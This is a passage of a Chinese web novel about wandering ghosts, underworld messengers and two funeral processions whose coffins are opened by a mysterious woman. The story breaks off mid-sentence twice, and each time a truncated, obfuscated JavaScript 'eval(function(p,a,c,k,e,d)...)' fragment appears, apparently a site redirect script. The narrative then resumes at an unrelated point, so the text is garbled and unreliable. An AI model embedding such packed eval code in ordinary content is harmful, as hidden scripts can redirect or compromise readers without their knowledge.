声音太轻,让人一晃而过,第五茗早已蹲在埭骰身边,扯下他脸上黄纸,手上急急剥着埭骰的白色无常服。 她无奈道:“埭骰大哥,这趟结束,回去找你上官好好学习,不然会出大祸的。我走这条路多,这些事我也熟,便先替你上官教教你,你若是心存谢意,记得之后到了野鬼村,为我去买上几壶茶酒。” 埭骰疼痛难忍,蜷缩身子,道:“蒲…蒲小明,你真的会?” 身上白袍被第五茗扒下一半,他面上又疼又羞,继续道,“你干…干什么脱我衣服…我是还未娶亲,你的确生得还可…可以,只是…只是我没钱带你去写姻缘…姻缘…” 5. 双棺会面见祖宗2 啪! 一掌落在埭骰脑门上,让他疼上加疼地闭上了嘴,第五茗才怒声解释道:“想得美!无常服是最好的护魂幕布。” 埭骰的白袍被全部扒了下来,第五茗把埭骰脸上扯下来的冥钱黄纸贴在白袍上,继续道:“无常服贴上冥钱黄纸,幕布便能加上东岳大帝的法力,这送葬之物就伤害不到我们这群幽魂,只是我们人多,还得把这无常服幻大…你来吧。” 埭骰摇头道:“我不会…” “你!真是一点不学啊!!” 第五茗抿唇咬牙,把烧血的腕子用劲儿挤了挤,让血滴落在白袍子上,嘴里碎碎咒念,袍子开始慢慢变大。 埭骰在一旁,惊讶道:“你真厉害,你活着时是修仙道人吗?” 两人身后一串「招来」呼过,第五茗的手腕,在埭骰惊呼声中,被一只有滑稽布条缠绕的大手拉住,伤口金辉处,在一瓶新生水浇注下,顿时愈合,无常白袍也停止了变幻。 埭骰道:“酆小洪?你…” 咕咕噜噜~咕噜咕噜…埭骰话未落,便被欺身上前的人,踩在脚下,慢慢沉进了水里。 第五茗顿呼道:“你…” 局面有些尴尬,酆小洪不等第五茗问出口,便道:“上君,你想做的事…我来,别伤害自己。” 第五茗看了眼酆小洪脚下,缓慢抬头,虎目圆睁,吞咽道:“我不能事事都麻烦你,他们是冥界地府的鬼差,你来不合适。” “我不合适吗?” 一脚把无常踩入水里,未让酆小洪觉得有何不妥,他反而更在意第五茗推据之语,道:“上君总不想连累我,是因怕我,还是因上君想和天界撇清关系?不想让仙君插手!” 最后一句,犹为赤裸,第五茗震惊对方的直白,奋力挣脱手腕,对方却丝毫不退让,甚至为了让新生水渗进她肌肤,不让她伤口留痕,竟用拇指引出法力,肆无忌惮地在她伤口处细细摩挲,帮她吸收新生水。 第五茗第一次听见“酆小洪”用男子般嘶哑、隐忍又无奈的磁音,道:“若是其一,上君不用忧心,我自泰山而来,非天界之仙,上君不用避我如蛇蝎,我对上君…愿剥身示心。若是其二,上君已知其一因果,这其二,我和上君所愿,并无二异。” 示忠?还是… 真够直接的! 手腕上虽没有血烧出的金辉法力,却因酆小洪法力托住,让第五茗身体轻盈,浮于水面,就算此刻因对方的话震惊跌坐,也依然滴水未染,稳稳当当地匍匐在江水之上。 在酆小洪的搀扶下,施施起身,第五茗重拾理智,声音迟疑道:“你是小鬼飞升?” 酆小洪点点头… “算是…” 第五茗道:“我帮过你?” 酆小洪点点头… “不止…” 第五茗道:“来报恩?” 酆小洪沉默不语… 第五茗舒出一口气,环顾四周,缓解刚才的紧张局促。 她心道:还好还好,瞧样子多半是来报恩的。 惹上仙君终归麻烦,既然是报恩,那就帮你一次性把恩报了吧。 思索片刻,第五茗脚下稳稳站住,尴尬道:“我借仙君一点法力,可行?” 酆小洪点头,有一丝犹豫道:“嗯,只是…魂体会沾染上我的气息,不知道上君是否会介意?” 鬼魂有魂体,魂体在冥界地府可生出魂命。 沾染对方气息,那是及其暧昧的行为,因冥界魂命都在一处,两只鬼差若有点什么猫腻,就会昭然若揭。 且泰山上的仙君和天界仙君有所不同,他们属于东岳帝君座下,既有仙界神格,也会特意从冥界地府走一遭,生出魂命,便于在冥界地府办差。 酆小洪刚才一番言语,则表明他即有神格又有魂命,特意强调第二点,于近期天界和冥界划清界限有关。 而第五茗现在虽是魂魄之体,但真论起来,她还是只有天界神格的仙君之体,只要她渡劫成功,这魂体上他人的气息就会消散。 所以…魂体上有他人气息,于她而言,和沾染了点泥土没有区别。 第五茗摇摇头道:“不会…” 酆小洪握住第五茗手腕的手,缓慢挪至对方掌中,道:“上君请便。” 第五茗五指一扣,道:“多谢。” 原以为酆小洪是历劫休憩,所以魂身会有一丝丝法力。 却不曾想,第五茗闭上眼,沉浸地接纳酆小洪送来的法力时,才发现对方掌心如海水滚涌的雄厚之力。 眉头一蹙,她心中幽怨道:有眼不识泰山,错把稀世珍宝当废土。 我的错,我的错…居然敢大言不惭,承接你的因果。 她不禁一怵,暗自告诫道:也不知道作的哪门子的孽,以后得对小鬼们狠心一些了,千万别功德没积累多少,事又惹出一堆来。 另一只空余的手,背在身后,起手,指尖掐诀。 细细瞧之,这举动非常古怪。 酆小洪一顿,道:“阅命诀。” 以为第五茗是在查他底细,他片刻沉吟,紧张道:“上君若是有什么想问的,可以直接问我,我知无不言…” 第五茗紧闭双目,道:“与你无关。” 酆小洪失落道:“和我无关…” 若是睁开眼,第五茗便能看见,“与你无关”几字,犹如利剑,让法力深厚的酆小洪,仿佛重伤般脸色惨白,面如死灰。 她掐诀翻找的,是万年前三公九府前,与她有命事牵连的十七名生人命格簿子。 须臾,挨个查找了一遍,见无异样,亦没有生出旁的命数变故,她舒了一口气,睁开眼,复述道:“的确与仙君无关。” 酆小洪淡淡地“哦”了一声。 第五茗并没有听见,她心思回到眼前,看着歪七扭八倒在水里的村民,道:“仙君慷慨,那我就不客气了。” 酆小洪回应地“嗯”了一声。 那厢,第五茗语不断珠,道:“虽不知何时有恩于仙君,但现下我有一事要求于仙君,一来一回,我同仙君的过往因果,便算就此消解。” 末了,她还劝慰了一句,道:“仙君日后可不用困顿在还恩一事上了。” 这是打算理清关系啊… 闻言,才因她一句“与你无关”,形容枯槁,酆小洪此刻又听她想消解二人因果,刹时,面有愠色,举止局促。 对方的变化,第五茗都看在眼里,以为他脸色骤变,是不想帮忙,又心知索恩是不妥之事,便想动之以情,晓之以理,软硬兼施,顿了顿,转换思路道:“仙君和他们算同世一场,保他们一时,算福德一件,比之方才在石料场的三十七份小德来说,这可是了不得的福报,指不定冥君还要记你一份情。” 酆小洪面色更黑了一层,道:“我不需要…上君有何吩咐,但说无妨。” 第五茗指了指他脚下,道:“还请仙君把无常埭骰捞起来,待会儿需他的哭丧棒来撑一撑这幕布,我也还得再多借一些仙君的法力。” 酆小洪神色虽未缓和,却是听话的侧身移了半步,沙哑道:“好。” 第五茗手上没闲着,一瞬,便使幻大的袍子,遮住了一半的鬼魂,龇牙咧嘴的鬼叫声跟着也小了一半。 原先酆小洪站立的地方,水面翻滚,埭骰扑腾着浮出,哀怨道:“怎么会沉下去,怎么这么倒霉,差点被淹死…” 他丝毫没有怀疑是身旁二人所为,反而觉得庆幸,因祸得福,短暂逃出福谷砸击,不仅疼痛消失,还及时浮出水面,洗净了身上的燥热。 “…” 第五茗道:“埭骰大哥,袍子已经撑开,你把哭丧棒拿出来,我们架布,等岸上人散了,我们再赶路。” 埭骰未有疑虑,听第五茗的安排,在江中插上哭丧棒,支撑住浮起的白袍幕布。 第五茗目光远眺道:“前面还有一半,埭桡大哥那边…” 埭骰会意,朝水中抱头缩脑的埭桡,大喊道:“埭桡,把你的外袍脱给我!快点!!我有法子解决这要鬼命的东西。” 埭桡循声望去,发现埭骰只着中衣,白色外袍早已变得巨大,被哭丧棒支撑起半边棚子,遮挡在后半截鬼魂的头顶,而本来还在嚎叫的鬼魂,竟都闭上了嘴半淹浮在江中。 他手上不再迟疑,忍住身上的剧疼,脱下无常黑袍,扔了过去。 第五茗提醒道:“埭骰大哥,还差冥钱黄纸。” 埭骰接住衣服,二话不说,再度大喊道:“埭桡,黄纸!!快!!” 一张冥钱黄纸又顺着衣服的轨迹,飞越至埭骰手中,方才交给第五茗,便听见她婉转道:“埭骰大哥,得辛苦埭桡大哥去队伍前面,插上索命钩,不然这袍子撑不起来。” 埭骰立马转述,大喊道:“埭桡,去队伍前把你法器插入江中!!快快快!!不然幕布会塌!!” 黑袍幕布不知何时已如白袍幕布一般大小,从队伍最末端,白袍幕布的上方,跟随埭桡奔向队伍前方。 不一会儿,索命钩落,黑袍一端为索命钩支撑,幕布下鬼魂哀嚎声消失,群鬼瘫在江水中,如惊弓之鸟,左顾右盼,畏首畏尾。 第五茗的声音又响起,道:“埭骰大哥…” “你就不能一次性把话讲完吗!吓死我了…” 埭骰拍拍胸脯,安抚定心,埋怨道:“你每叫一声,我都要紧张一回,我虽脑子不行,但也不至于记性如此糟糕,需要你一事一话。姑奶奶,拜托你,一次性教授完好吗?” 第五茗尴尬道:“最后一样了,黑袍和白袍之间没有东西支撑,会塌下来,若是埭骰大哥和埭桡大哥身体无恙,可否去把中间塌陷的地方顶起来,也方便我们这群小鬼喘息喘息。” 埭骰却道:“你身体伤到了?” 第五茗诧异埭骰的关心,摇摇头,指向水中群鬼,道:“我和埭骰大哥你待在一起,没有大碍的,但他们好像伤得不轻,再被袍子压到喘不上气,指不定要就此烟消云散。” 埭骰转头羞红脸,道:“嗯,知道了知道了,你没事就行,在后面保护好自己,没事不要再闯祸了。” 第五茗笑答道:“好。” 前方队伍的烟雾中,却出现了让第五茗心头一紧的东西… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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片刻,埭骰去前方找了埭桡,一起走至黑袍和白袍中间,两人前后排列,伸手举起幕布,两顶黑白高帽也混在四手之中,顶着幕布的一寸,让躲避的鬼魂,在幕布下休息。 队伍中,硝烟里的怨气,在第五茗清身明心的赐福语中,消散殆尽。 幕布上谷粒声未停,岸上本来还在行进的两方丧葬队伍,却停了下来。 真热闹!!荒郊野岭,风雨江畔,竟又多出一位我见犹怜的少妇。 这少妇姿色绝然,头上没有钗环耳饰,盘头素髻,由一根长长的墨绿色绸带固定,余下的部分全垂在一身锦衣上。 她横冲直撞,闯入送葬队伍,一雷二闪,避之若涣,竟是步伐生风,腕力惊人,在众人未反应之时,先后掀开了两方队伍里,那两口捆绑了藤麻绳的全木棺材。 凄凄艾艾,少妇吐出一句莫名奇妙的话,道:“为何这上面也有你气息,却不见你人…你千万不要做傻事啊。” 第五茗自言自语道:“这里怎么会有小妖?” 酆小洪接话道:“她应该是过水湖的小妖,过水湖和风雨江是同一水脉。” 他又是知她所不知,第五茗回头故作疑惑道:“哦?” 酆小洪望向第五茗,浅笑,丝毫不怕她窥探,乐在其中,解释道:“过水湖修成之后,顺应自然,福泽千世,妖帝便向人帝讨了此处,遣了一大妖坐镇,想来这些年又生了些小妖、精怪。” 无趣。 酆小洪脸上没有预想中的慌乱,第五茗瘪瘪嘴道:“原来如此,难怪官运煞气震慑之地,小妖也能乱来,原来真龙之气的主人点头了。” 话说,三界初分时,因生灵气息不同,具有相互制衡之势。 如天界道法高深,但生机淡泊,天生神格,少之又少,多靠其他两界生灵修炼而往。 而至纯至善,无德功量的生灵又是三界的大宝贝,所以仙界早早就意识到这一点,一开始就做出了仁慈无私的一面,以此笼络三界生灵而往。 而妖界,子嗣最是繁茂,不缺后族,但缺优者、心性坚毅者,加上法术不纯,种族凌乱,所以是广而不精,杂而不优,又常出惹事生非、心性不纯的精怪,故而,多为其他两界嫌弃。 人界,按理来说是最势单力薄,不具优势的。 但凡人有苦心修道者,能力强盛,虽不能飞升,但能力强于精怪。 且最珍贵的真龙之气一直延续在人帝一脉。 人界受真龙之气相护,许多官吏也能带走一部分,让山精野怪,孤魂野鬼,近而畏惧,躲避不及。 肯定想问,不是还有冥界吗? 那冥界呢? 冥界最初是天界分属下来的六天宫,用来帮助三界生灵司命轮回,又因鬼魂能力弱小,不足为三界恐惧,加上近一万年来,才在新任东岳大帝手中从天界独立出来,所以三界根本没把冥界放在心上。 但人死、妖灭、仙历劫,又都要从冥界轮回道过,所以三界捧着还来不及,根本不担心冥界闹出什么幺蛾子。 第五茗和酆小洪再看向岸上时,少妇已然消失,无影无踪,而两支送葬队伍,却被她搅得一团糟。 6. 双棺会面见祖宗3 再来瞧瞧这两支送葬队伍。 至下游而上的队伍,打头的是位端灵牌,神色哀泣的嫡系青年晚辈,全身素衣、素裳、素冠,一身斩衰孝服,平整服帖,做工精致,似大家之手量体裁衣。 手上的牌位更是值钱,通身檀香木,上过黑漆,高七寸,宽三寸,黄色小字密密麻麻,篆刻的凹壑,丝毫不毛刺,让人一眼就能看出,为牌位临帖的人是位书法大家。 孝服… 牌位… 荒郊野岭之地,此家的封荫富足,福泽深厚,真是一点也不打算遮掩。 然而,接着往下看,便清楚青年人为何敢如此派头了,整只队伍只能用一个词语形容——虚有其表,参加过白事的人都清楚,常规的出棺队伍,最前面理当有照路白灯笼,而那端牌位人身前却是空荡荡。 顺着队伍看下去,后面本应紧跟抬香案的亲友,队伍中也是没有。 持铭旌的人,没有。 吹奏伤乐的人,没有。 端祭品的亲友,也没有。 … 引魂幡,该有的片幡和鹤幡,队伍中,也只有柳枝撑起的两份片幡。 幸好,倒是没有省下背烧纸斗撒钱的人,与趋吉避凶抛福谷和鸣炮开路的人。 江内一群村民,身体还没缓和过来,就齐齐吃起岸上的瓜:“啧啧…真是寒碜…” “钱都花在那块木牌上了吧。” “我看不是,那身孝服挺值钱的…” “不是啊,虽然看着不像样,但还是挺贵气的。” “我要是死了,别人这样给下葬,我还不稀罕呢,要什么没什么的…看着晦气!!” “你想什么呢…咱们村都死光了…” “也是哈…” 第五茗站在末端,比其他人先一步看见岸上下游队伍后面的情况,以及那一副平安村没几人认识的东西,道:“金丝楠木棺材,劳民伤财的东西,真是费钱啊…” 酆小洪眼神闪烁,顺着第五茗的话,把视线从上游的一人身上收回,转头看向岸上下游处的树荫,搭话道:“算是一切从简了。” 一切从简? 这恐怕不算从简吧… 岸上队伍里一口金丝楠木棺材,天冠地屦(ju)。 棺身七尺三寸,上了桐油大漆,涂了玄青染料,通体发黑发亮,棺头大红「寿」字,还镶了鎏金边。 全身寻不见一个榫卯刻痕。 很显然,这么好的福寿棺材,当是家里从出生起,便早早寻来为逝者备着的百年寿料。 风雨江下游除了平安村,就只剩一个石井村。 这两个村子一个赛一个的穷,不论是哪一个,都寻不出这么好一口棺材,此地能出现如此一口棺材,那就只能是这家人从不远之地运过来的。 第五茗的目光,在抬棺材的人身上转了一圈又一圈。 五指粗的麻绳栓箍棺身,绳结很长,余下的绳索全部紧紧套在十位粗壮汉子的肩膀上。 十人均匀分布在两边和棺尾,稳稳当当,异常慎重,扛着担棒,绷紧绳索。 她嘴角抽搐,张张合合,最后还是忍了下来,望向酆小洪,心中暗自幽怨:金丝楠木做寿材,让武夫抬棺…居然还算一切从简?一世苦日子,这仙君这么快就给忘了? 瞬时寂静,让酆小洪紧张地转回了头,瞧见身边人还在,才安下心。 他看见第五茗一脸「物以类聚」「人以群分」「我和你不是一路货色」的表情,知道对方误解了点什么,解释道:“棺材后面还有一辆白花马车,马头被树遮掩了半截,他们应该是接亡人返乡,不是在此安葬,所以才一切从简。” 队伍最后面,那匹系白绸花的大马车…在树荫下,由身着緦麻服的马夫,轻松悠然地牵着缰绳。 原来如此,置办物品慎重其事,出葬送行又极度精简,原是一支迎死者归乡的队伍。 因入棺之尸,有不能随意挪动的习俗,所以才带着最重要的灵牌和棺材来接人。 接亡人返乡? 那倒是挺像这么回事的。 第五茗心里想着,手上下意识便借用了酆小洪的法力,向后挪了两步,张望一番,确认后才一改脸色,道:“仙君,好眼力。” 酆小洪因手上的劲道儿,身子轻轻晃了晃,别头含笑道:“上君过誉了。” 两人还在细细打量这支队伍,村民已经开始议论起另外一支:“啧啧…真是寒碜…” “是挺磕碜的…” “都活成这样了,还办什么丧礼嘛,留下点银钱,吃点好的,穿点好的,总比给死人强啊。” “我听说一些宗族,为了延续香火,会特别注重红白之事。” “对对对,我们家搬到平安村前,村里就有那么一家子,族谱有两个拳头厚。不过那家看着要好一些,好歹棺材不漏风…” “快别说了…呜呜呜…我们村连口破棺材都没有呢…还好意思说别人…” “咳咳咳…平安村本来就是凑出来的,指不定连一张草席都没有…你…咳咳咳…你们都忘了后山刨的那些坑了?” “也是哈…” “…” 至上游而下的出葬队伍,对比看来,明显要比另一支队伍齐整得多,却让人看了更唏嘘。 开路的是一位手持火把照路的佝偻老者,身上衣料褴褛,手上的火把扑闪扑闪,江面上的风吹一阵,老者还得把他的背弯得更下一些,用另一手的芭蕉大叶,遮挡遮挡火把。 他身后有一跛脚少年,面黄枯瘦,身形憔悴。 头上戴着发黄还沾了泥污的孝帽,七尺三寸,全铺在他单薄的背上。 不合身的衣服,腰间捆着一根布带,布带上方,还绑了一圈麻绳。 这其实也是重孝之服,不过是穷人家简便的孝服。 少年双手紧紧握住半截横切萝卜,端在身前。萝卜上插了一节柳条,歪歪扭扭,把用米糊粘黏的白纸红字,折得凹凸不平。 白纸上方,因笔触不匀,分外大的「先考…」二字,倒是能让人分辨出,这是一个简易的灵牌。 说他齐整,并不是因为队伍前面多了位持灯引路的人,而是如此境遇下,少年身后仪仗,竟是一样未缺。 只有番薯和一份香烛供奉的木板案台,字体歪七扭八的铭旌,独奏伤乐的唢呐,多用材火抵充的祭品…它们由不同形貌,一般瘦弱,看着比穿孝服少年还小的,小乞儿操持。 白纸画飞鸟的鹤幡,裁剪不齐整的片幡,也由一群同样的小孩拿着。 他们面上没有哀怨之色,因嘴里的芽糖,面上喜喜乐乐,时而还和临近的同伴,攀比手中的柳枝,谁的更粗,谁的更长。 兴致起来,他们还要溜到身后,寻到那挎着烧纸斗、端着福谷、背着开路鞭炮的老妇人跟前,让她来掌掌眼,评判此事。 妄诞啊~妄诞啊~~ 路过的人,瞧见这一幕,会生怜悯,会觉荒唐,会和江内鬼魂一样,叹一句“狼狈如斯,为何还要执着死后一事。” 队伍最末,终于出现了像样的人,四个光膀子的村汉和端着两根长凳的村妇。 他们主要负责一口四面漏风,拼接不严实的棺材。 棺身小小巧巧,晃眼过去,上面绑的野鸡扑腾翅膀时,绒羽乱飞,隔上数里的人,也能看得一清二楚。 现下,两边队伍,都因陡然出现,又突然消失的少妇,变得人仰马翻。 下游,武夫们惊呼:“怎么回事?”“发生什么事了?”“棺材怎么被打开了…”“糟了糟了,不吉利啊”“快!请阴阳先生看看。” 不一会儿,下游这方,从棺材一侧的遮掩处,走出来一位衣襟宽松、长及脚踝,袖长随身,袖宽一尺八的蓝色得罗道袍道人——他便是下游众人口中的阴阳先生。 阴阳先生也算是修道之人,只是福泽浅薄,没有办法累积功德缘法,借助宗门教会里的一些书籍,学会了面上一点皮毛。 像最基本的相看风水,掐算阴阳八卦、五行命理,他们也略懂一些,但若是碰上活人的事,他们这点道行,那是万万不够,所以他们也只敢多承接一些死人身后事,相看墓地风水穴。 他掐指算术,眼神迷茫,喃喃道:“还好还好,众人不要惊慌,持好担棒,绷紧麻绳,稳住棺身,带我施法合棺…” 同时,上游这方,因为少妇的闯入,也惊起阵阵小孩声:“啊!开了,开了…”“棺材开了”“他在睡觉…”“这么大的太阳,为什么凉悠悠的?” 抬棺材的村汉比起那群武夫更是镇定,像是专业抬棺材的丧夫,一边驱赶看热闹的小孩,一边嘱咐道:“找叶伯…” “找叶伯合棺。” 男人的声音过于严肃,小孩吓得漏掉了嘴里的芽糖,端长凳的妇人见状,柔声安抚道:“叶伯知道怎么解决,去找叶伯,叶伯布袋里还有芽糖,你把这里的情况告诉叶伯,他还会给你一块大的。” 不稍一阵,一个抗鹤幡的小孩跑到队伍最前面,把后面发生的情况对举火把的老者叙述了一遍。 不错,上游队伍这方,棺头持火把的佝偻老者,正是他们口中的叶伯。 叶伯听完小孩的话,愁眉不展,竟是忽略了小孩看他腰间布袋的眼神。 他面上平静,手指却是凌乱推移,竟是也开始掐指算术。 虚心莫要太纷纷,无所求则自思真…许是叶伯年龄在那儿,或者是掐算的时间要比穿得罗的阴阳先生久一些,让人看上去,他更像是一位货真价实的阴阳先生。 算术已结,火把跌落,叶伯惊恐万状,违背出棺送葬的大忌,回转头,木木地摇摇晃晃走了两步,道:“百鬼日行,熊日明眼,世仇相见,不解不了,大凶。来不及了?来不及了…怎么会突生异象…” 仰天一啸,他苦闷道:“特意弃了小道走官路,选了正午出门,也避不过这一难吗…” 他双脚微微弯曲,伤寒腿脆硬的膝盖,“咚”地一声,直直跪在少年灵牌前,双手合上,哭求道:“您不能好走,我们也十分痛心,但求您别再给叶家添灾添难了…” 抬起头,双眼湿润地看了看上方满脸惊恐的少年,恳切道:“也求叶家列祖列宗,看在叶家嫡系独苗的份上,发发慈悲吧。” 捧排位的少年哽咽道:“叶…叶伯,是…是又算出灾难了吗?” 叶伯点头道:“嗯…阳气正盛,却被开了棺,祖上遇见了不该遇见的东西,为我叶家生了一死劫,灭族的大劫。” 少年道:“无解?” 叶伯摇摇头,道:“我寻不到解。” 少年闭眼吞咽,咬牙吞下心中的恐惧,道:“无解就无解吧,先送我阿爹入土为安。叶氏本该早断了生息的,沾祖宗的福气,拖到我这一辈,足够了。” 叶伯争辩道:“清霖,祖训道,叶氏子孙,必须繁衍留息,势要找到那小儿,难道你忘了吗?” 叶清霖神色黯然,道:“去哪里找?叶伯,我是叶家第二百七十七代唯一的血脉!你在宗门修行数年,为报老祖一饭恩情,留在我家,为我族窥探天机,落的如此田地,你该为你自己考虑的,不该…不该…继续执着的。” 叶伯道:“叶伯无碍,只是老了。” 他膝盖硬到不能弯曲,此时跪在地上,腿上锥骨噬心的疼让他控制不住发抖。 虚弱的身影落在叶清霖眼里,令他左心刺痛,眼睛也变得有些不舒服。 一连串身体上的反应让他抵抗不过,被迫地眨了眨眼,两颗眼泪居然不争气地流了出来。 他长舒一口气,却无法释怀,叹息道:“可是…我族只余我一人,如今阿爹出殡之日,你又推算出我族大劫,我有什么办法…放过我吧,列祖列宗的牌位上,不会生出白霜的,我们也寻不到那鸠占鹊巢的小人,祖训之言,有几分真,有几分假,谁又说得清楚。” 根据叶氏祖上手札记载,叶氏本不姓叶,具体姓什么,叶氏的子孙没有一代知晓。 只知道叶氏族谱上的第一人——叶同喜,其原名不叫叶同喜,好似取得很随意,是叫叶七还是叶八来的,可能是从一个高门大户的世家流落出来的嫡系子孙。 据说叶同喜晚年魂游太虚,似见到了本家祖先,知道了这个秘密,不仅将自己改成了梦中老祖的名字,还鬼使神差地留下一则莫名其妙的祖训,要后世子孙找到李代桃僵,替他锦衣玉食的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第五茗看着岸上渐渐消失的身影,摇摇头,瞬间否定了眼前模糊重叠的小孩身影,心道:不可能,不可能…司命府就没有多出他们十七人的命格簿子,这叶清霖估计就是凑巧罢了。 酆小洪在一旁发问道:“上君认识那小孩?” 第五茗摆摆手,道:“不认识,不认识,就是身影面容有几分像我曾经见过的一只小鬼…” 酆小洪道:“哦,是吗?上君对冥界地府很是熟悉?” 第五茗笑嘻嘻道:“想不熟稔也不行啊,自我降生以来,一多半的时间都耗在那里,而这一多半时间里,一半时间浑浑噩噩,一半时间用来…” 神情释然,她想起这一半中的一半时日,竟有一些畅快。 酆小洪问道:“作何?” 笑意微展,第五茗道:“吃苦。” 「吃苦」是实话,却不是真话。 可直白的实话总让人震惊,真话又往往容易被人忽略。 酆小洪呆愣了一瞬,道:“上君为何不在冥界地府任一仙职?有东岳帝君庇佑,岂不是可以不用受这么多苦楚?” 第五茗道:“我是天生神格,做不了鬼仙。” 酆小洪试探道:“做不了鬼仙吗?上君如今入了人道,有了魂魄…修一个魂命,不算难事,难道是上君不愿意做鬼仙?” 第五茗一顿,眼眸微眯道:“我…不愿吧?” 酆小洪话中的意图太明显了,她不禁腹诽起对方的意图:这是在挖墙角? 想了想这这想法便消失了,猜测对方多半是随口一问,不免有些神伤,自怨自艾:我乃是天生神格,不是修不出魂命,是天界不可能放手。 再说了…鬼仙自由自在,东岳帝君和酆都大帝自鸿蒙上任的几位,都是甩手掌柜,又不多事儿,你怎知我是不愿意。 我那是打心底一千八百个愿意,我就算我有胆,你问问那十殿阎王敢让我修魂命吗…东岳大帝能收我吗?!! 现在飞升的仙君,真是一个赛一个的单纯… 眼睛滴溜溜地看向岸上,岔开话题,闲聊道:“仙君,你说这叶清霖的命数能改吗?” 酆小洪道:“我只曾在司命府当值过一日,看不透太多。不过…两口棺材里,各自的祖宗天魂胎光刚才都有点异象。” 第五茗仔细回忆起刚才开棺的瞬间,的确…双方的祖宗天魂,在棺开的瞬间,不顾棺内子孙受风雨江上的幽魂气息侵蚀,也不惧烈日当头,均变貌失色地站在棺材上两厢对望。 还是下游这只富家丧队里的祖宗鬼魂,先回了神,惊恐万状地躲进棺材内,方结束了死魂对视的灾难情形。 第五茗点点头,看了眼江内那群早已缓过神,正在幕布下议论两只丧葬队伍家底的村民,低头思索道:“他们认识。” 酆小洪道:“他在躲。” 第五茗仔细分析道:“富鬼怕穷鬼…富鬼还在躲那只穷鬼。” 说到此处,第五茗脑中突然浮现出岸上早已消失的相似身影,叹息道:“又是一个连续命数,叶清霖这劫躲不掉了。” 酆小洪见第五茗神情有些哀伤,皱眉道:“上君心疼那小孩?” 第五茗扯出一缕笑容,遮掩刚刚流露出的情绪,道:“也不算。他们生死不过一轮回,过了奈何桥,喝了孟婆汤,前尘尽忘,没什么好让我替他们难受的。” 酆小洪道:“那上君就是在忧虑自己?此番回去,该是又一世痛苦岁月…” 此话逾越,第五茗眼神犀利,打断道:“不是!什么叫又是一世?仙君你…” 是否是有些得寸进尺了!咱们好像也没那么熟吧… 然而,幕布中间一声巨大的抱怨,把第五茗的话打断了,让她没能把话说完。 “这只队伍什么时候走啊!!那道士在干嘛!!” 埭骰双手发酸,本想转头找“蒲小明”过来,陪着聊聊天,打发打发时间,却是见“蒲小明”和酆小洪聊得热络,郁闷地转回头,越想越气不过。 想到临行前,他还特意关照了“蒲小明”,对方也笑眼盈盈,不过一盏茶的功夫,对方就将他抛之脑后。 7. 双棺会面见祖宗4 埭骰眼中岸上那群人,不知为何,因阴阳先生左弄弄,右擦擦,磨磨蹭蹭地摆弄,格外让他觉得碍眼,竟让他忍不住怒吼出声。 他身后的埭桡,由他这一吼,浑身激灵,手上险些失了分寸,让幕布塌了下来,幸好又及时撑了回去。 这下好了,换撑起幕布的埭桡心中有些许不悦,道:“你干什么呢!吼什么吼!!等着!!!” 埭骰焉了下去,应道:“哦…” 叶伯手上动作不少,速度却那般快… 为什么到了阴阳先生这里,多番举动却是又如此慢呢? 不是叶伯不够专业,而是叶伯太专业,另外一位阴阳先生又太不专业了。 下游送葬队伍里的阴阳先生本名叫李二道,他还有一个哥哥叫李一道,二人都是风雨江石井村一个岸口的土著。 哥哥年幼时,便上了山,跟着道门修习。 听说弟弟李二道在老家日子过得艰辛,刚在道门穿上一身得罗道袍,就急冲冲赶了回来,带着李二道在风雨江一带讨生活。 李一道算是有些能力,一两年时间,便成了风雨江周遭,一位了不起的阴阳先生。 奈何天灾收人命,从不会管你是何身份。 风雨江发大水,收的其中一人便是李一道。 李二道在江边找到李一道时,李一道的身体早被鱼虾吃得只剩一副骨头,独独留下那一身得罗道袍,套在骨架子上,轻飘飘地,浮在江面上,顺水被推回了岸。 两人,兄友弟恭,李一道为李二道放弃衣食无忧、前程似锦的道门生活,李二道也不是什么薄情寡性之人。 在岸边寻了六七日,带回了李一道的尸骨和得罗道袍。 他准备把李一道的尸骨和他那一身最宝贝的得罗道袍一起好好安葬,却在买香烛钱纸,相看裹尸草席时,衣襟见肘。 那日,李二道从棺材铺出来后,习惯性地低胸埋头,一路踢着一块石子走向岸口,像没有李一道在的那些日子一样,蹲守在岸口,等着货船停泊,好方便让他插空去找点银钱。 好几日没有商船靠岸的地方,居然让他真赶上一艘货船,上面只有一件货物——一口金丝楠木。 百余斤重的棺材,商主却自带了壮汉匹夫,李二道悻悻然离开,准备回家随便刨一个坑把李一道埋了,却听说这家家主在寻阴阳先生,给的随行银钱不少,去的目的地还是临安郡城内。 临安郡城,李二道在岸口听过许多次,软红香土,急竹繁丝,是他做梦都想去的地方。 李二道瞬间打定主意,跌跌撞撞回到家中,把套在尸骨上的得罗道袍扒了下来。 他怕错失良机,得罗道袍未及清洗,他强忍着水草味和腐尸味,把得罗道袍穿在了身上。 若不是路上行人避讳不及,他根本不愿浪费时间折道去山路口,抓一把土地庙龛前的香灰抹在身上。 对方送葬的事急,刚和李二道签下契约,未放李二道回家收拾行李,以及埋葬他兄长李一道,一行人便立即鸣炮起行。 浮肿、恶臭…棺材里巨人观尸体,竟是比李二道兄长的白森尸骨还要恐怖。 李二道一惊,忍住胸中翻涌,撇过头,双手使劲儿把斜开的棺材盖儿合上,学着李一道平日里的做派,朝着棺材作揖三拜,小步跑到队伍最前方,弯腰面对端牌位的男子,恭谨道:“齐少爷,可以鸣炮启程了。” “做完法了?” “法事已经完毕。” “我齐促此番身负重任,族长临行时再三叮嘱,我爹归乡下葬之前,不可有任何闪失,你们都给我打起精神来,若再出现这种事,归府便都给我去领鞭子!” 